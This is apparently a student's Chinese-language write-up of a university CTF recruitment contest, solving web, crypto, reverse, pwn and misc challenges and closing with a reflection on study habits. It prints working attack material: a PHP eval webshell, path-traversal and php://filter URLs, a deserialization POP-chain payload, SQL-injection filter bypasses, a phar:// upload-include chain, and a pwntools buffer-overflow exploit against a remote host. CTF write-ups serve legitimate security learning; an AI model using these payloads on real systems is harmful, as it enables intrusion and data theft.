neuqcsa recruitment competition
本人第一次打CTF比赛(虽然是校赛),心情还是很激动的,特此记录第一篇真正意义上的题解报告。
一、TIme can be over.....or not?
<?php
highlight_file(__FILE__);
include "fl4g.php";
$NEUQCSA = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $NEUQCSA;
?>
先关注这个if函数,正常来说这三个条件均不满足现实条件,因此要从后面入手
第十八行处的$fl4g .= $NEUQCSA;对POST传入的ctf变量进行拼接,显然传入的不一定非要是字符串
只要POST传入一个数组即可发生错误,运行set_error_handler函数,从而打印出flag
二、我们ikun不惹事,也撅不怕事!
进入后在网页注释中寻找源码<!-- can can source.php -->
在checkFile(&$page) 部分,会创建一个内容为 ('!','@','$','%','^','&','*','(',')','-') 的数组,并且随机选择一个作为$ext
白名单中可以发现提示hint.php,flag在flag.php中
接着观察源码,之后的操作会对传入的参数进行切割,从开头截取到$ext第一次出现的位置,并且判断截取后的内容是否在白名单内(source/hint)
因此,我们需要先传入source.php!,保证切割后的内容在白名单内(!可以换成数组内的任意一个符号,同时这个请求需要重复多次执行,即便payload正确也只有1/10的概率返回flag(还好不是0.6%)(最好加个保底,累计到多少次一定返回flag))
再传入我们要获取的flag,但source.php!/flag返回值为空,多次向上查找得到flag
81.70.101.23:8801/source.php?file=source.php!../../../../../flag
三、drawkcab
看似不难,实际上做的时候快气炸了(物理)
查看源码可以发现只要传入两个参数即可得到flag,但这两个参数并不是所看到的1919810或NEUQCSA。
将源代码复制到VSCode中,发现存在许多特殊的Unicode字符,例如:
U+202E(Right-To-Left Override)
U+2066(Left-To-Right Isolate)
U+2069(Pop Directional Isolate)
将这些特殊的Unicode进行url编码后再传入即可
四、ezupload revenge
Bp拦包改Content-type,上传一句话木马
<?php @eval($_POST['a']);?>
五、e=2
低加密指数分解攻击
因为e=2就相当于把明文平方,直接把密文c开平方求解即可
import gmpy2,libnum
c = 18535188524494480009433469541385125985144336116901989382615805398860698607369
print(libnum.n2s(int(gmpy2.isqrt(c))))
六、Tea
进IDA就看到flag了
七、ezpop
反序列化
<?php
class NEUQ {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class CSA{
public $source;
public $str;
}
class Test{
public $p;
}
$s=new CSA();
$s->str=new Test();
$s->str->p=new NEUQ();
$ss=new CSA();
$ss->source=$s;
print_r(urlencode(serialize($ss)));
得到
O:3:"CSA":2:{s:6:"source";O:3:"CSA":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"NEUQ":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
八、明文攻击
建议改为e=3
直接开三次根号即可
import gmpy2
import binascii
import libnum
import time
from Crypto.Util.number import long_to_bytes
for k in range(200000000):
if gmpy2.iroot(11916677858919827441524094185240995390266460247612494981089429975574543125177900310761849186344402623243225429808587695231875738575194213+25522601472797106149682080470029871456802323742863158258995590460119159807781137660082809193900601393021082620637129254925782401151619237134481310893024900309641591186035570355442931792359009308489374306825581572866013008174665086793878808051270131718266997861618123471016094058538800078177160487719043979148944171561411835601469377018470447548710842912568988854330589787570037529857808466877035432116353768532884684168396257349852347923083276649167316001454640740503263209917730748118754928400058930283064313972912839228634953623363643634968478602654409012852170362744919213402624712662956460554858220556067747594157*k,3)[1]==1:
res=gmpy2.iroot(11916677858919827441524094185240995390266460247612494981089429975574543125177900310761849186344402623243225429808587695231875738575194213+25522601472797106149682080470029871456802323742863158258995590460119159807781137660082809193900601393021082620637129254925782401151619237134481310893024900309641591186035570355442931792359009308489374306825581572866013008174665086793878808051270131718266997861618123471016094058538800078177160487719043979148944171561411835601469377018470447548710842912568988854330589787570037529857808466877035432116353768532884684168396257349852347923083276649167316001454640740503263209917730748118754928400058930283064313972912839228634953623363643634968478602654409012852170362744919213402624712662956460554858220556067747594157*k,3)[0]
print(k,res)
print(long_to_bytes(res))
break
九、XOR
把m替换为提示内容即可
key = 'CSA'
m = '%', '?', ' ', '$', '(', '\x19', 's', '!', '\x1e', '*', ' ', '\x1e', '&', '2', 's', ':', '.'
l1 = len(m)
l2 = len(key)
key = l1//l2*key + key[:l1%l2]
n = []
for i in range(len(key)):
n.append(chr(ord(m[i])^ord(key[i])))
n = ''.join(n)
print(n)
十、Maze
《别只顾着低头逆向,仔细想想awsd是啥。》
扔进IDA反编译,发现需要输入awsd操作v5和v4的值,并且v5,v4的值初始为0,不能大于15或小于0,据此,可以绘制一个16x16的网格,通过输入awsd不断尝试路径,最后绘制成一张地图
黄色位置为入口,浅蓝色位置为出口,红色区块为墙壁,绿色/深蓝色为可行走路径,其中深蓝色代表最终结果。将输入的字符32位md5后得到flag
十一、RSA
from Crypto.Util.number import *
from gmpy2 import *
e = 0x10001
#省略:c n1 c1 hinta hintb n2 c2 hintc hintd (这几个数能凑好几篇了)
hinta = (hinta * pow(2025,114514,n1))%n1
hintb = (pow(hintb-1919810,114514,n1)*pow(2022,114514,n1))%n1
q1 = gmpy2.gcd(hintb-hinta,n1)
print(q1)
p1 = n1 // q1
d1 = gmpy2.invert(e,(p1-1)*(q1-1))
p = pow(c1,d1,n1)
#重复一次
hintc = pow(hintc * pow(2025,114514,n2),1919810,n2)
hintd = pow(hintd * pow(2022,1919810,n2),114514,n2)
q2 = gmpy2.gcd(hintd-hintc,n2)
print(q2)
p2 = n2 // q2
d2 = gmpy2.invert(e,(p2-1)*(q2-1))
q = pow(c2,d2,n2)
n = p * q
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(m))
推导过程 [GKCTF 2021]RRRRsa (csdn.net)
十二、checkin_sql
preg_replace("/select/","",$_GET["sql"]);会对传入的sql命令过滤,双写关键字绕过即可(selselectect)
传入命令之后会在字符串尾添加molemole,不是我们想要的,需要在传入命令的末尾添加#注释掉后面的molemole,url编码后为%23
首先传入show tables%23查看表,回显{ ["Tables_in_web"]=> string(5) "users" },再传入selselectect * from users%23查看具体内容,得到flag
十三、ret2backdoor
根据课程学习内容照葫芦画葫芦即可
找到backdoor()地址0x00401207,填充直到溢出
from pwn import *
context.log_level='debug'
p = remote("39.105.97.11",9197)
payload=24*b'a'+p64(0x00401207)
p.sendafter(b'where is the backdoor?',payload)
p.interactive()
十四、ezupload
文件上传,先尝试改报头,绕过,无果
发现上传文件的地址为81.70.101.23:8804/index.php?b1ub1u=upload,并且可以传入81.70.101.23:8804/index.php?b1ub1u=index重复输出index.php的内容
推测含有include,使用伪协议查看源码,81.70.101.23:8804/index.php?b1ub1u=php://filter/read=convert.base64-encode/resource=index.php
提示STOP!~Hacker Wont GET Bingdundun FreeDom!But I can tell you this is a upload+include ezproblem!
由于可以上传的文件包括压缩包和图片,将木马封装到压缩包内提交,使用phar伪协议执行代码
由b1ub1u=index/upload可知,无需添加.php后缀,构造payload:
1、提交压缩包,得到地址
2、利用phar://来执行这段代码81.70.101.23:8804/index.php?b1ub1u=phar://a98248f7b1dcb2a6782427123c13c8b4.zip/2
3、连接蚁剑,得到shell,找到flag
十五、UPX(未解)
exeinfope查壳
UPX脱壳,进IDA分析
找到算法以及相关数据,编写脚本
c="()4687$v m4'fl{t`fngrv#xh&etc$0br5pyqderg<"
key="NEUQCSA"
output=""
for i in range(42):
a = chr(ord(c[i]) ^ ord(key[i % 7]))
output += a
print(output)
十六、尽情爆破(未解)
发现压缩包中有未加密图片和加密压缩包,加密压缩包中的图片与未加密图片CRC32值相同,推测明文攻击。开始时尝试将未加密图片提取出来单独压缩后作为明文进行攻击,无果
后直接用1.zip(有flag.zip)作为明文,成功获得压缩包密码
后记
暴露出很多问题
最严重的是PWN相关题目
因为自己有C基础,所以听PWN课的时候漫不经心,导致后续做PWN题的时候汇编那里一点也看不懂,重新看一遍课程之后才答上一道PWN
MISC的尽情爆破在已经知道是明文攻击的情况下也答不出来,无论是用ARCHPR还是pkcrack都显示错误,甚至更换多款压缩软件(Winrar,2345HaoZip,7-zip…)都没办法。做到这的时候心态差到不行,浪费了许多时间。(现在我也不知道到底因为哪里不对才做不出来)
Forensic内存取证是首次接触,用volatility分析到一半就不会解了
Crypto的后几道题不明白,仅知道babyRSA那里需要Coppersmith方法利用已知明文高位/地位进行攻击,对RSA算法的理解不够深刻(关键还是相关数学知识的匮乏)
Reverse中的UPX在脱壳后也无从下手,关键还是汇编压根看不明白,都是上PWN课时欠下的债。
WEB题目相对简单,但ezpython和ezjava依旧不会,前者根据源码能推测出要篡改cookie来达到登录为admin的效果,后者则是根本看不懂。
这句话是本人的座右铭,有时候觉得自己学的越多越显得自己无知。
作为招新赛,能获得这样的成绩还是很高兴的,但相对的,这次比赛也暴露出很多学习上的问题。PWN仅解一题就足以说明当时有C基础的我学习PWN课程时是多么自满。
骄傲和自满作为正常情绪,肯定会在他人夸赞时不经意流露出来
要时刻记住,人外有人,天外有天
就保持这样的心态学习吧。
Comments | NOTHING